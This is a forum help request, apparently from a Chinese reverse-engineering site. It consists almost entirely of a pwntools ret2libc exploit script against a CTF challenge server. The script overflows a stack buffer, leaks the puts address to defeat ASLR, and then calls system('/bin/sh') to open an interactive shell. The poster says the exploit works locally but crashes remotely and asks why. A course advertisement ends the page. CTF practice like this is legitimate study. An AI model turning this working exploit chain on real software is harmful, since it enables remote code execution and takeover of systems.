from pwn import *
from LibcSearcher import *
context(log_level = 'debug')
#io=process('./pwn')
io = remote('node4.anna.nssctf.cn',28839)

elf = ELF('./pwn')
libc = ELF('./libc-2.23.so')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']

pop_rdi_ret = 0x0000000000400733
ret_addr = 0x00000000004004c9

offset = 0x20 + 8
payload1 = offset * b'a' + p64(pop_rdi_ret) + p64(puts_got)+ p64(puts_plt) + p64(main_addr)
io.recvuntil('Pull up your sword and tell me u story!\n')
io.sendline(payload1)

puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
#puts_addr=u64(io.recvuntil('\n')[:-1].ljust(8,b'\0'))
print(hex(puts_addr))

libcbase = puts_addr - libc.symbols['puts']

system_addr = libcbase + libc.symbols['system']
binsh_addr = libcbase + libc.search(b"/bin/sh").next()
payload2 = offset* b'a' + p64(ret_addr) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)

io.sendline(payload2)
io.interactive()
本地用了注释的内容打通了，打远程换成了没注释的失败了
错误提示为timeout: the monitored command dumped core
但是不明白原因，有没有大佬可以帮忙看看

[招生]科锐逆向工程师培训(2024年11月15日实地，远程教学同时开班, 第51期)